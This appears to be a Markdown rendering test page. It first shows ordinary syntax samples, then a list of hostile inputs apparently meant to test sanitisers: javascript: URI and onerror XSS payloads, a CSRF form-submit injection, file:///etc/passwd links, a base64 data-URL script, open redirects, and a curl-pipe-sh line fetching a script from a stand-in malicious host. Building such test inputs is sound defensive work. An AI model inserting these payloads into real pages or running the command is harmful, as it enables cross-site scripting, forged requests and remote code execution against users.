Emphasis
*Italic* text using asterisks or _underscores_.
**Bold** text using double asterisks or __underscores__.
***Bold and italic*** text using triple asterisks or ___underscores___.
Copy Code
Unordered List
- Item 1
- Item 2
- Subitem 2.1
- Subitem 2.2
- Item 3
Copy Code
Ordered List
1. First item
2. Second item
1. Subitem 2.1
2. Subitem 2.2
3. Third item
Copy Code
Links
[GitHub](https://www.github.com) is a code hosting platform for version control and collaboration.
Copy Code
Images
![Markdown Logo](https://markdown-here.com/img/icon256.png)
Copy Code
Blockquotes
> This is a blockquote.
> It can span multiple lines.
Copy Code
Code
Inline `code` can be inserted with backticks.
Copy Code
```python
def hello_world():
print("Hello, World!")
```
Copy Code
Table of Contents
# Extended Markdown Test
## Table of Contents
- [Headers](#headers)
- [Emphasis](#emphasis)
- [Lists](#lists)
- [Links](#links)
- [Images](#images)
- [Blockquotes](#blockquotes)
- [Code](#code)
- [Horizontal Rule](#horizontal-rule)
- [Tables](#tables)
- [Task Lists](#task-lists)
- [Definition Lists](#definition-lists)
- [Code Blocks](#code-blocks)
- [Strikethrough](#strikethrough)
- [Fenced Code Blocks with Language Specification](#fenced-code-blocks-with-language-specification)
- [Footnotes](#footnotes)
- [Superscript and Subscript](#superscript-and-subscript)
- [Emoji](#emoji)
- [LaTeX Math](#latex-math)
Copy Code
Abbreviations
*[HTML]: HyperText Markup Language
*[CSS]: Cascading Style Sheets
HTML is an abbreviation for *[HyperText Markup Language]*, and CSS stands for *[Cascading Style Sheets]*.
Copy Code
Escaping Characters
To display a literal asterisk \* or underscore \_ in Markdown, use a backslash \ before the character.
Copy Code
Superscript in Links
This is a link with superscript1 .
Copy Code
Strikethrough in Tables
| Product | Price | Quantity |
| ------------- | --------- | -------- |
| Item 1 | $10 | 5 |
| Item 2 | $15 | ~~10~~ |
| Item 3 | $20 | 8 |
Copy Code
Script Execution
![Image](javascript:alert('Malicious Script'))
Copy Code
Cross-Site Scripting (XSS)
[Click me](javascript:alert('XSS Attack'))
Copy Code
External Resource Inclusion
![External Image](http://malicious-site.com/image.jpg)
Copy Code
File Inclusion
![Include File](file:///etc/passwd)
Copy Code
Malformed Links with JavaScript
[Click me](javascript:alert('Malicious Script'))
Copy Code
CSRF Token Manipulation
![Image](http://malicious-site.com/image.jpg" onerror="document.forms[0].submit())
Copy Code
Remote Code Execution (RCE) through Shell Commands
```bash
; curl malicious-site.com/malicious-script.sh | sh
```
Copy Code
Cross-Origin Resource Sharing (CORS) Bypass
[Click me](https://trusted-site.com/api/data)
Copy Code
JavaScript Execution in Inline Code
This is `javascript:alert('XSS Attack')` inline code.
Copy Code
Local File Inclusion
[Include File](file:///etc/passwd)
Copy Code
Using Special Characters for Code Injection
```python
import os
os.system("malicious command")
```
Copy Code
Remote Resource Inclusion
![External Image](http://evil.com/malicious-image.jpg)
Copy Code
Data URL Payloads
![Image](data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8sIFdvcmxkISIpPC9zY3JpcHQ+Cg==)
Copy Code
Using javascript: in HREF
[Click me](javascript:alert('Click Event'))
Copy Code
URL Redirection
[Click me](http://trusted-site.com/page?redirect=http://malicious-site.com)
Copy Code
CSRF Attack
[Click me](https://target-site.com/transfer?amount=10000&to=attacker-account)
Copy Code
Using JavaScript URIs
[Click me](javascript:window.location='http://malicious-site.com')
Copy Code
Executing Code in Inline Math Blocks
$ \scriptsize{\text{alert('XSS Attack')}} $
Copy Code